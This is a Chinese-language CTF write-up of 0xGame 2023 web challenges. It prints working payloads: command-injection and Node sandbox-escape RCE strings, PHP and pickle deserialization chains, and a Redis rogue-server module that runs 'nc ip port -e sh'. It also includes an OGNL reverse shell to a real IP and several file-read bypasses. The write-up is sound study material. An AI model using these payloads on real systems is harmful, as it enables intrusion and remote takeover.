0xgame的师傅出的题都很好!!
WEEK1 [Week 1] signin 找j源码就有
[Week 1] hello_http 经典考察http协议
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /?query=ctf HTTP/1.1 Host: 124.71 .184 .68 :50012 Content-Length: 14 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 Origin: http: Content-Type: application/x-www-form-urlencoded User-Agent: HarmonyOS Browser Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*
[Week 1] baby_php 经典题型 注意一下这里就是要用伪协议去读 别直接包含flag那样读不出来的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST /?a=QNKCDZO&b=240610708 HTTP/1.1 Host: 120.27 .148 .152 :50014 Content-Length: 11 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 Origin: http: Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0 .0 .0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*
[Week 1] ping 疑似被搅屎了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php function sanitize ($s) { $s = str_replace(';' , '' , $s); $s = str_replace(' ' , '' , $s); $s = str_replace('/' , '' , $s); $s = str_replace('flag' , '' , $s); return $s; } if (isset($_GET['source' ])) { highlight_file(__FILE__); die(); } if (!isset($_POST['ip' ])) { die('No IP Address' ); } $ip = $_POST['ip' ]; $ip = sanitize($ip); if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/' , $ip)) { die('Invalid IP Address' ); } system('ping -c 4 ' .$ip. ' 2>&1' ); ?>
没搅屎的payload:
用base64编码绕过就行
1 ip=127.0 .0 .1 |echo${IFS}"Y2F0IC9mKg==" |base64${IFS}-d|bash
[Week 1] repo_leak 要用这个工具才能找到git泄露https://github.com/gakki429/Git_Extract
githack拉取不到
然后翻源码能找到
WEEK2 操你妈不知道是我这里校园网的原因 环境一直像狗屎一样恶心我
文件上传一直访问不到文件 sql注入一直转圈链接失败
[Week 2] ez_upload 考点:
https://github.com/hxer/imagecreatefrom-/tree/master 项目地址
[Week 2] ez_sqli 考点:
payload:
1 2 3 4 ?order=id;setaaaaaa; ?order=id;setaaaaaa; ?order=id;setaaaaaa; ?order=id;setaaaaaa;
需要注意的几个点是:
0x字符串
是预处理语句的字符转16进制
最后报错注入获得flag的时候要利用substr函数截取flag 不然显示不全
语句间虽然没有ban空格但是空格会被tun 还是给替换了。。 反正/**/
绕一下
[Week 2] ez_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php show_source (__FILE__) ;class Cache { public $key; public $value; public $expired; public $helper; public function __construct ($key, $value, $helper) { $this ->key = $key; $this ->value = $value; $this ->helper = $helper; $this ->expired = False; } public function __wakeup () { $this ->expired = False; } public function expired () { if ($this ->expired) { $this ->helper->clean($this ->key); return True; } else { return False; } } } class Storage { public $store; public function __construct () { $this ->store = array(); } public function __set ($name, $value) { if (!$this ->store) { $this ->store = array(); } if (!$value->expired()) { $this ->store[$name] = $value; } } public function __get ($name) { return $this ->data[$name]; } } class Helper { public $funcs; public function __construct ($funcs) { $this ->funcs = $funcs; } public function __call ($name, $args) { $this ->funcs[$name](...$args); } } class DataObject { public $storage; public $data; public function __destruct () { foreach ($this ->data as $key = > $value) { $this ->storage->$key = $value; } } } if (isset($_GET['u' ])) { unserialize($_GET['u' ]); } ?>
一开始对这里有点陌生 自己举个例子理解一下
如果这是$this->data
是个数组 那么就很好理解了 记录一下
然后是pop链构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class Cache { public $key; public $value; public $expired; public $helper; } class Storage { public $store; } class Helper { public $funcs; } class DataObject { public $storage; public $data; } $a = new DataObject (); $a->storage = new Storage (); $b = new Cache (); $a->data = ["Z1d10t" =>$b]; $b->expired = 1 ; $b->helper = new Helper (); $b->helper->funcs = ["clean" =>"system" ]; $b->key = 'env' ; echo serialize ($a) ; ?>
注意:
这里赋值数组时候不能用array("1"=>"1");
要用["1"=>"1"]
实测第一种会断开链子
expired函数调用在这里 很微妙 容易忽略
[WEEK2]ez_sandbox 一道原型链污染+vm沙盒逃逸的题目
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 const crypto = require('crypto' )const vm = require('vm' );const express = require('express' )const session = require('express-session' )const bodyParser = require('body-parser' )var app = express()app.use(bodyParser.json()) app.use(session({ secret: crypto.randomBytes(64 ).toString('hex' ), resave: false , saveUninitialized: true })) var users = {}var admins = {}function merge(target, source) { for (let key in source) { if (key === '__proto__' ) { continue } if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } return target } function clone(source) { return merge({}, source) } function waf(code) { let blacklist = ['constructor' , 'mainModule' , 'require' , 'child_process' , 'process' , 'exec' , 'execSync' , 'execFile' , 'execFileSync' , 'spawn' , 'spawnSync' , 'fork' ] for (let v of blacklist) { if (code.includes(v)) { throw new Error(v + ' is banned' ) } } } function requireLogin(req, res, next) { if (!req.session.user) { res.redirect('/login' ) } else { next() } } app.use(function(req, res, next) { for (let key in Object.prototype) { delete Object.prototype[key] } next() }) app.get('/' , requireLogin, function(req, res) { res.sendFile(__dirname + '/public/index.html' ) }) app.get('/login' , function(req, res) { res.sendFile(__dirname + '/public/login.html' ) }) app.get('/register' , function(req, res) { res.sendFile(__dirname + '/public/register.html' ) }) app.post('/login' , function(req, res) { let { username, password } = clone(req.body) if (username in users && password === users[username]) { req.session.user = username if (username in admins) { req.session.role = 'admin' } else { req.session.role = 'guest' } res.send({ 'message' : 'login success' }) } else { res.send({ 'message' : 'login failed' }) } }) app.post('/register' , function(req, res) { let { username, password } = clone(req.body) if (username in users) { res.send({ 'message' : 'register failed' }) } else { users[username] = password res.send({ 'message' : 'register success' }) } }) app.get('/profile' , requireLogin, function(req, res) { res.send({ 'user' : req.session.user, 'role' : req.session.role }) }) app.post('/sandbox' , requireLogin, function(req, res) { if (req.session.role === 'admin' ) { let code = req.body.code let sandbox = Object.create(null) let context = vm.createContext(sandbox) try { waf(code) let result = vm.runInContext(code, context) res.send({ 'result' : result }) } catch (e) { res.send({ 'result' : e.message }) } } else { res.send({ 'result' : 'Your role is not admin, so you can not run any code' }) } }) app.get('/logout' , requireLogin, function(req, res) { req.session.destroy() res.redirect('/login' ) }) app.listen(3000 , function() { console.log('server start listening on :3000' ) })
首先需要原型链污染让我们以admin身份登录
这里禁用了__proto__
所以这里可以通过constructor.prototype
来bypass
因为__proto__=constructor.prototype
之后就是vm沙盒逃逸 参考NodeJS VM和VM2沙箱逃逸 - 先知社区
因为this为null
所以我们要用到一个函数中的内置对象的属性arguments.callee.caller
,它可以返回函数的调用者。
我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller
就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了
除此之外这道题沙箱没有返回值 我们可以借助异常,将沙箱内的对象抛出去,然后在外部输出
在沙箱内可以通过 throw 来抛出一个对象 这个对象会被沙箱外的 catch 语句捕获 然后会访问它的 message 属性 (即 e.message) 通过 JavaScript 的 Proxy 类或对象的 defineGetter 方法来设置一个 getter 使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数
除此之外还要绕一下waf
这里提供两种paylaod
bypass姿势参考:nodejs中代码执行绕过的一些技巧-安全客 - 安全资讯平台 奇安信攻防社区-NodeJS中的RCE的利用和绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #第一种利用模板字符串 throw new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; const p = (cc[`${`constructo` } r` ][`${`constructo` } r` ](`return ${`proces` } s` ))(); return p[`${`mainModul` } e` ][`${`requir` } e` ]('child_pr' +'ocess' )[`${`exe` } cSync` }`]('id').toString(); } }) #第二种利用字符串拼接 throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc['const'+'ructor']['cons'+'tructor']('return pr'+'ocess'))(); return p['mai'+'nModule']['re'+'quire']('child_p'+'rocess')['exe'+'cSync']('cat /f*').toString(); } })
WEEK3 [Week 3] notebook 考点:
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from flask import Flask , request, render_template, sessionimport pickleimport uuidimport osapp = Flask (__name__) app.config ['SECRET_KEY' ] = os.urandom (2 ).hex () class Note (object): def __init__ (self, name, content): self._name = name self._content = content @property def name (self): return self._name @property def content (self): return self._content @app.route ('/' ) def index (): return render_template ('index.html' ) @app.route ('/<path:note_id>' , methods=['GET' ]) def view_note (note_id): notes = session.get ('notes' ) if not notes : return render_template ('note.html' , msg='You have no notes' ) note_raw = notes.get (note_id) if not note_raw : return render_template ('note.html' , msg='This note does not exist' ) note = pickle.loads (note_raw) return render_template ('note.html' , note_id=note_id, note_name=note.name , note_content=note.content ) @app.route ('/add_note' , methods=['POST' ]) def add_note (): note_name = request.form .get ('note_name' ) note_content = request.form .get ('note_content' ) if note_name == '' or note_content == '' : return render_template ('index.html' , status='add_failed' , msg='note name or content is empty' ) note_id = str (uuid.uuid4 ()) note = Note (note_name, note_content) if not session.get ('notes' ): session['notes' ] = {} notes = session['notes' ] notes[note_id] = pickle.dumps (note) session['notes' ] = notes return render_template ('index.html' , status='add_success' , note_id=note_id) @app.route ('/delete_note' , methods=['POST' ]) def delete_note (): note_id = request.form .get ('note_id' ) if not note_id : return render_template ('index.html' ) notes = session.get ('notes' ) if not notes : return render_template ('index.html' , status='delete_failed' , msg='You have no notes' ) if not notes.get (note_id): return render_template ('index.html' , status='delete_failed' , msg='This note does not exist' ) del notes[note_id] session['notes' ] = notes return render_template ('index.html' , status='delete_success' ) if __name__ == '__main__' : app.run (host='0.0.0.0' , port=8000 , debug=False )
大致审计一下
大致思路为/add_note
下会将我们提交的数据进行pickle序列化 内容保存在session中
然后在/<path:note_id>
进行pickle反序列化
那么如果我们可以控制session 将里面的正常序列化数据改为恶意数据 那么就可以实现RCE了
遇到的一些问题:
首先是flask_unsign脚本爆破sercet的问题 这个脚本需要最原始的session来进行爆破 如果是提交了任何参数的session都会爆不出secret
因为我们opcode加上我们的payload一般还有一些特殊字符比如/ &
那么进行伪造session的时候就会涉及到转义的问题 转义头都大了 这里Aecous师傅提供了一种好的方法 可以现在自己本地搭建好题目 然后修改相关生成的session的参数 让题目自己去处理session转义问题 然后直接本地获取含恶意payload的session然后再提交给题目 (记得本地secret_key也要保持和题目一致 )
关于R指令的问题这个题目好像R指令稍稍有点问题导致没法弹回payload 可以试着用其他指令比如我用的是i指令 (回来补坑了 因为用pickle.dumps() 来生成 payload, 不同操作系统⽣成的 pickle 序列化数据是有区别的 因此我们windows生成的payload在linux用不了 参考:pickle反序列化初探 - 先知社区 )
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from flask import Flask , render_template, request, redirectfrom urllib.parse import unquotefrom lxml import etreefrom io import BytesIO import requestsimport reapp = Flask (__name__) @app.route ('/' , methods=['GET' , 'POST' ]) def index (): if request.method == 'GET' : return render_template ('index.html' ) else : feed_url = request.form ['url' ] if not re.match (r'^(http|https)://' , feed_url): return redirect ('/' ) content = requests.get (feed_url).content tree = etree.parse (BytesIO (content), etree.XMLParser (resolve_entities=True )) result = {} rss_title = tree.find ('/channel/title' ).text rss_link = tree.find ('/channel/link' ).text rss_posts = tree.findall ('/channel/item' ) result['title' ] = rss_title result['link' ] = rss_link result['posts' ] = [] if len (rss_posts) >= 10 : rss_posts = rss_posts[:10 ] for post in rss_posts : post_title = post.find ('./title' ).text post_link = post.find ('./link' ).text result['posts' ].append ({'title' : post_title, 'link' : unquote (post_link)}) return render_template ('index.html' , feed_url=feed_url, result=result) if __name__ == '__main__' : app.run (host='0.0.0.0' , port=8000 , debug=True )
简单审计
大致思路为它会通过http协议去访问一个网站 然后将其访问到的内容通过xml解析出来 然后正则匹配相关的内容 然后帮我们渲染出来
resolve_entities=True
重点关注这个 如果这个选项被设置为了true 那么它就会帮我们解析xml实体
来自:python_code_audit/XXE.md at master · MisakiKata/python_code_audit
除此之外debug=True
这意味着 如果我们能计算出pin值 我们就可以通过/console
直接进行rce
所以我们的思路就是:
用vps起一个python http服务 然后把有恶意内容的xml文件放其目录中
访问 读取相关计算pin码的文件
rce
xml文件内容如下:
起http服务
读取到相关配置文件内容
然后这道题目其实/proc/self/cgroup
是空的
只需要读取/etc/machine-id
值就可以计算machine-id了
然后用户是app 路径报错得到
计算pin码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import hashlibfrom itertools import chainprobably_public_bits = [ 'app' # /etc/passwd 'flask.app' , # 默认值 'Flask' , # 默认值 '/usr/local/lib/python3.9/site-packages/flask/app.py' # 报错得到 ] private_bits = [ '2485378744322' , # /sys/class /net/eth0/address 十进制 '96cec10d3d9307792745ec3b85c89620' # 字符串合并:1. /etc/machine-id (docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup ] # 下面为源码里面抄的,不需要修改 h = hashlib.sha1 () for bit in chain (probably_public_bits, private_bits): if not bit : continue if isinstance (bit, str): bit = bit.encode ('utf-8' ) h.update (bit) h.update (b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest ()[:20 ] num = None if num is None : h.update (b'pinsalt' ) num = ('%09d' % int (h.hexdigest (), 16 ))[:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join (num[x :x + group_size].rjust (group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
直接反弹shell
拿下
[Week 3] zip_file_manager 考点:
直接通过软链接将根目录下的flag勾出来
1 2 ln -s /flag test zip --symlinks test.zip ./test
[Week 3] web_snapshot 考点:
主要源码如下:
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php error_reporting (0 );function _get ($url ) { $curl = curl_init (); curl_setopt ($curl, CURLOPT_URL , $url); curl_setopt ($curl, CURLOPT_HEADER , 0 ); curl_setopt ($curl, CURLOPT_RETURNTRANSFER , 1 ); curl_setopt ($curl, CURLOPT_FOLLOWLOCATION , true ); $data = curl_exec ($curl); curl_close ($curl); return $data; } function process ( ) { $redis = new Redis (); $redis->connect ('db' , 6379 ); $redis->slaveOf (); if (isset ($_POST['url' ])) { $url = $_POST['url' ]; if (!preg_match ('/^https?:\/\/.*$/' , $url)) { return '<div class="alert alert-danger">Invalid URL! The URL must start with <code>http://</code> or <code>https://</code></div>' ; } $id = md5 ($url.time ()); $data = _get ($url); $redis->setEx ($id, 600 , $data); return '<div class="alert alert-success">Snapshot success! Link: <a href="cache.php?id=' .$id .'">cache.php?id=' .$id .'</a></div><h2>Source</h2><pre><code class="language-html">' .htmlspecialchars ($data).'</code></pre>' ; } } ?>
ping.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting (0 );$redis = new Redis (); $redis->connect ('db' , 6379 ); $redis->slaveOf (); if ($redis->ping ()) { echo 'pong' ; } else { echo 'Connection error' ; } ?>
cache.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 );$id = $_GET['id' ]; if (!preg_match ('/^[a-f0-9]{32}$/' , $id)) { die ('Invalid ID' ); } $redis = new Redis (); $redis->connect ('db' , 6379 ); $redis->slaveOf (); $data = $redis->get ($id); if ($data) { echo $data; } else { die ('No snapshot found!' ); } ?>
简单审计就能看到index.php中存在ssrf 并且限制了只能以http/https协议
当然curl除了http/https协议外还支持dict/gopher协议
再来看curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
当其被设置为true时 会根据服务器http头中的location进行重定向
二者结合起来 我们就可以通过 Location 头把协议从 http 重定向至 dict / gopher
再审计cache.php和ping.php可知 web服务和redis服务不在一个服务器上
这就导致我们没法直接通过写入文件getshell
那么就要利用到redis主从复制了 参考:Redis 基于主从复制的 RCE 利用方式
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
通过slave of设置主从状态
(偷的图)
可以看到在主机修改值之后会同步到从机上
利用原理:
当两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上
然后我们可以利用从机加载so文件,我们就可以执行拓展的新命令了
整个流程图如下:
首先先生成重定向恶意文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import urllib.parse poc1= '' ' HTTP/1.1 SLAVEOF ip port CONFIG SET dbfilename exp.so ' '' #SLAVEOF 设置主服务器 我们自己的恶意服务器 #CONFIG SET dbfilename为指定保存文件名 poc2='' ' HTTP/1.1 MODULE LOAD ./exp.so system.rev 123 123 ' '' #module load ./1. so 加载恶意文件 # system.rev 后面被Aecous 师傅魔改了,因为弹不了shell,正常使用就是ip port payload = urllib.parse .quote (poc1).replace ("%0A" , "%0D%0A" ) payload = "gopher://db:6379/" + payload print (payload)
在vps起个php文件用php -S 0.0.0.0:port
或者用nginx,apache都行
让题目去依次访问这两个文件
再起个恶意redis server 推荐:GitHub - Testzero-wz/Awsome-Redis-Rogue-Server: Redis-Rogue-Server Implement
恶意Server使用,-v为恶意Server模式,指定port和恶意文件开启监听
1 python3 redis_rogue_server.py -v -lport 8888 -path exp.so
这里恶意so文件由Aecous师傅完成的真的tql
魔改RedisModulesSDK/exp/exp.c一个函数,make编译后生成exp.so文件 项目地址:https://github.com/vulhub/redis-rogue-getshell
魔改内容为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int RevShellCommand (RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (argc == 3 ) { size_t cmd_len; char *ip = RedisModule _StringPtrLen(argv[1 ], &cmd_len); char *port_s = RedisModule _StringPtrLen(argv[2 ], &cmd_len); int port = atoi (port_s); int pid; char * succ= "+OK" ; pid = fork (); if (pid || pid == -1 ){ RedisModuleString *ret = RedisModule _CreateString(ctx, succ, strlen (succ)); RedisModule _ReplyWithString(ctx, ret); RedisModule _FreeString(ctx,ret); return REDISMODULE_OK ; } system ("nc ip port -e sh" ); return REDISMODULE_OK ; } else { return RedisModule _WrongArity(ctx); } return REDISMODULE_OK ; }
起server
访问1.php
恶意服务器会持续通信写入 之前代码没有加quit的话 会一直写入 一次就可以exit出来了
然后访问2.php 加载恶意so文件 反弹shell
[Week 3] GoShop 考点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 func BuyHandler (c *gin.Context ) { s := sessions.Default (c) user := users[s.Get ("id" ).(string)] data := make (map[string]interface{}) c.ShouldBindJSON (&data) var product *Product for _, v := range products { if data["name" ] == v.Name { product = v break } } if product == nil { c.JSON (200 , gin.H { "message" : "No such product" , }) return } n, _ := strconv.Atoi (data["num" ].(string)) if n < 0 { c.JSON (200 , gin.H { "message" : "Product num can't be negative" , }) return } if user.Money >= product.Price *int64 (n ) { user.Money -= product.Price * int64 (n) user.Items [product.Name ] += int64 (n) c.JSON (200 , gin.H { "message" : fmt.Sprintf ("Buy %v * %v success" , product.Name , n), }) } else { c.JSON (200 , gin.H { "message" : "You don't have enough money" , }) } }
这里直接看官方WP吧 0xGame 2023 Web Official Writeup
本人乱点出的qwq
WEEK4 [Week 4] spring(学习) 考点:
Spring Boot Actuator未授权 headdump泄露
Actutator是一个生产环境部署时可使用的功能,用来监控和管理应用程序。支持选择HTTP Endpoints 或者JMX的方式来访问,同样支持查看应用程序的Auding,health和metrics信息。
首先访问/actuator/env
查看环境变量发现flag是密码 密码被改为星号了
访问/actuator/headdump
spring actuator 默认会把含有 password secret 之类关键词的变量的值改成星号, 防⽌敏感信息泄露 但是我们可以通过 /actuator/heapdump 这个路由去导出 jvm 中的堆内存信息, 然后通过⼀定的查询得到 app.password 的明文
这里我用的是MAT工具Eclipse Memory Analyzer Open Source Project | The Eclipse Foundation
查询语句:
1 SELECT * FROM java.util.LinkedHashMap$Entry x WHERE (toString(x.key) .contains("app.password" ))
[Week 4] auth_bypass(学习) 考点:
Tomcat Filter绕过+java任意文件下载搭配WEB-INF目录利用
源码如下:
AuthFilter.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package com.example .demo ; import javax.servlet .*;import javax.servlet .http .HttpServletRequest ;import java.io .IOException ;public class AuthFilter implements Filter { @Override public void init (FilterConfig filterConfig ) { } @Override public void destroy ( ) { } @Override public void doFilter (ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException , ServletException { HttpServletRequest request = (HttpServletRequest ) req; if (request.getRequestURI ().contains (".." )) { resp.getWriter ().write ("blacklist" ); return ; } if (request.getRequestURI ().startsWith ("/download" )) { resp.getWriter ().write ("unauthorized access" ); } else { chain.doFilter (req, resp); } } }
DownloadServlet.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.example .demo ; import javax.servlet .http .HttpServlet ;import javax.servlet .http .HttpServletRequest ;import javax.servlet .http .HttpServletResponse ;import java.io .FileInputStream ;import java.io .IOException ;public class DownloadServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws IOException { String currentPath = this .getServletContext ().getRealPath ("/assets/" ); Object fileNameParameter = req.getParameter ("filename" ); if (fileNameParameter != null ) { String fileName = (String ) fileNameParameter; resp.setHeader ("Content-Disposition" ,"attachment;filename=" +fileName); try (FileInputStream input = new FileInputStream (currentPath + fileName)) { byte[] buffer = new byte[4096 ]; while (input.read (buffer) != -1 ) { resp.getOutputStream ().write (buffer); } } } else { resp.setContentType ("text/html" ); resp.getWriter ().write ("<a href=\"/download?filename=avatar.jpg\">avatar.jpg</a>" ); } } }
简单审计就是一个文件读取的功能 并且有blacklist
首先如何绕过blacklist ..
和关键字/download
这里利用了java中 getRequestURI() 的缺陷 这个函数在解析url时不会自动进行url解码 也不会进行标准化 (去除多余的/和..
)
参考:getRequestURI 导致的安全问题 - depycode - 博客园
以直接访问 //download
就能绕过
之后目录穿越下载文件的时候可以将..
进行⼀次 url 编码 就能绕过
所以可以通过 //download?filename=文件
来读取文件 这道题目需要./readflag
因此不能直接将flag读出来
根据题目描述 网站使用war打包
Tomcat 在部署 war 的时候会将其解压, ⽽压缩包内会存在⼀个 WEB-INF ⽬录, ⽬录⾥⾯包含编译好的 .class ⽂件以及 web.xml (保存路由和类的映射关系 )
下载web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 //download?filename=%2e%2e/WEB-INF/web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <servlet> <servlet-name>IndexServlet</servlet-name> <servlet-class>com.example.demo.IndexServlet</servlet-class> </servlet> <servlet> <servlet-name>DownloadServlet</servlet-name> <servlet-class>com.example.demo.DownloadServlet</servlet-class> </servlet> <servlet> <servlet-name>EvilServlet</servlet-name> <servlet-class>com.example.demo.EvilServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>IndexServlet</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>DownloadServlet</servlet-name> <url-pattern>/download</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>EvilServlet</servlet-name> <url-pattern>/You_Find_This_Evil_Servlet_a76f02cb8422</url-pattern> </servlet-mapping> <filter> <filter-name>AuthFilter</filter-name> <filter-class>com.example.demo.AuthFilter</filter-class> </filter> <filter-mapping> <filter-name>AuthFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> </web-app>
可以看到EvilServlet类的/You_Find_This_Evil_Servlet_a76f02cb8422
路由
通过包名 (com.example.demo.EvilServlet) 构造对应的 class 文件路径并下载
再利用JD-GUI工具进行反编译打开
发现命令执行利用点
利用这个工具生成paylaod java.lang.Runtime.exec() Payload Workarounds - @Adminxe
记得post打入的时候url全字符编码一下
成功
[Week 4] YourBatis(学习) 考点:
MyBatis低版本OGNL注入
OGNL 表达式注入
首先将给的jar包进行反编译 在idea打开
首先查看依赖 发现存在MyBatis依赖 并且是低版本2.1.1 该版本存在OGNL表达式注入
之后开个篇章学习一下 WP就不过多赘述了
推荐:奇安信攻防社区-从一道CTF题浅谈MyBatis与Ognl的那些事 Mybatis 从SQL注入到OGNL注入 - panda | 热爱安全的理想少年
存在一个/user路由
主要代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package com.example .yourbatis .provider ; import org.apache .ibatis .jdbc .SQL ;public class UserSqlProvider { public UserSqlProvider () { } public String buildGetUsers ( ) { return (new SQL ( ) { { this .SELECT ("*" ); this .FROM ("users" ); } }).toString (); } public String buildGetUserByUsername (final String username ) { return (new SQL ( ) { { this .SELECT ("*" ); this .FROM ("users" ); this .WHERE (String .format ("username = '%s'" , username)); } }).toString (); } }
可以看到username直接被拼接进了查询语句 因此这里就存在sql注入 更严谨应该是OGNL表达式注入
直接利用OGNL表达式命令执行反弹shell
1 2 3 ${@java.lang .Runtime @getRuntime ().exec ("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4zNC41My83Nzc3IDA+JjE=}|{base64,- d}|{bash,-i}" )}
无法进行反弹shell 因为传入的内容包含{和}
会被递归解释为另一个OGNL表达式的开头与结尾
官方wp是利用OGNL 调用Java 自身的 base64 decode方法
1 2 ${@java.lang .Runtime @getRuntime ().exec (new java.lang .String (@java.util .Base64 @getDecoder ().decode ('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzg0TGpFek1DNHpOQzQxTXk4M056YzNJREErSmpFPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9' )))}
java基础知识还是缺少很多 得去狂补
[Week 4] TestConnection(学习) 考点:
MySQL / PostgreSQL JDBC URL Attack
解法一 直接看官方WP
JDBC 就是 Java 用于操作数据库的接口, 通过一个统一规范的 JDBC 接口可以实现同一段代码兼容不同类型数据库的访问
JDBC URL 就是用于连接数据库的字符串, 格式为 jdbc:db-type://host:port/db-name?param=value
db-type 就是数据库类型, 例如 postgresql, mysql, mssql, oracle, sqlite
db-name 是要使用的数据库名
param 是要传入的参数, 比如 user, password, 指定连接时使用的编码类型等等
当 jdbc url 可控时, 如果目标网站使用了旧版的数据库驱动, 在特定情况下就可以实现 RCE
看看依赖
根据mysql版本8.0.11 找到对应的驱动利用 MYSQL JDBC反序列化解析 - 跳跳糖
或者用工具生成payloadGitHub - 4ra1n/mysql-fake-server: MySQL Fake Server (纯Java实现,支持GUI版和命令行版,提供Dockerfile,支持多种常见JDBC利用)
注意这里选用的CC6的链子 这也就是为什么要给依赖让我们知道是commons-collections-3.2.1
这里需要知道
这里的ip port是我们在vps起的恶意MySQL服务 也是用这个工具的cli版本即可
除此之外 题目中给的代码是
1 DriverManager.getConnection(url, username, password);
即会单独传入一个 username 参数, 因此 url 中的 username 会被后面的 username 给覆盖
所以我们用工具生成的payload中user部分要改为username
当然这样还是不行
要将之后的命令执行部分改为适合java的payload
1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4zNC41My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
即
至于drive的由来 问了一下GPT 是默认固定的路径
因此最终payload的为:记得要url编码打入
